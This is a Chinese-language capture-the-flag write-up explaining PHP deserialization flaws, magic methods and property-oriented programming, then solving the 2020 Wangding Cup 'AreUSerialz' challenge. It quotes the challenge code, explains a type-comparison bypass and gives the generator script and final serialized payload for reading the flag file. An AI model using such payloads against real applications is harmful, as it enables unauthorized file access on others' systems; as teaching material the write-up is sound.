漏洞原理:
序列化可以将对象变成可以传输的字符串,方便数据保存传输,反序列化就是将字符串还原成对象。如果web应用没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被控制,就会造成代码执行,getshell等一系列不可控的后果。
serialize() //将一个对象转换成一个字符串 unserialize() //将字符串还原成一个对象 #触发条件:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法. __wakeup() //对象被序列化之后立即执行 __construct //构造函数,在实例化类的时候会自动调用#在创建对象时触发 __destruct() //析构函数,通常用来完成一些在对象销毁前的清理任务#在一个对象被销毁时调用 __toString() //需要一个对象被当做一个字符串时调用 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()时触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当尝试以调用函数的方式调用一个对象时触发
漏洞利用思路:
对象中的各个属性值是我们可控的,因此一种PHP反序列化漏洞利用方法叫做“面向属性编程”(Property Oriented Programming).与二进制漏洞中常用的ROP技术类似,在ROP中我们往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets.在PHP的POP中,对应的初始化gadgets就是wakeup()或者是destruct(),在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止。
一些需要特别关注,跟进的函数:
RCE:
exec(),passthru(),popen(),system()
File Access:
file_put_contents(),file_get_contents(),unlink()
真题 2020网鼎杯-青龙组-AreUSerialz
题目给了源码:
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
跟踪destruct()发现存在对op这个变量存在全等于验证,当op为字符串2值时op被强行赋值为字符串1
,导致后面直接进入写操作,故用$op=2绕过
另外调用了process(),关联read()和write()两个函数,一个读,一个写
想要拿到flag需要通过read()读到/flag.php
$op=2绕过第一层判断进入读操作
if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); }
然后就是GET方法传参str,发现存在一个is_valid()验证函数,过滤了提交的参数中数据ASCII码<32且>125的字符
根据信息生成实例:
<?php class FileHandler{ public $op = 2; public $filename="/flag.php"; public $content; } $a = new FileHandler(); $b = serialize($a); echo($b); ?>
运行生成payload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:9:"/flag.php";s:7:"content";N;}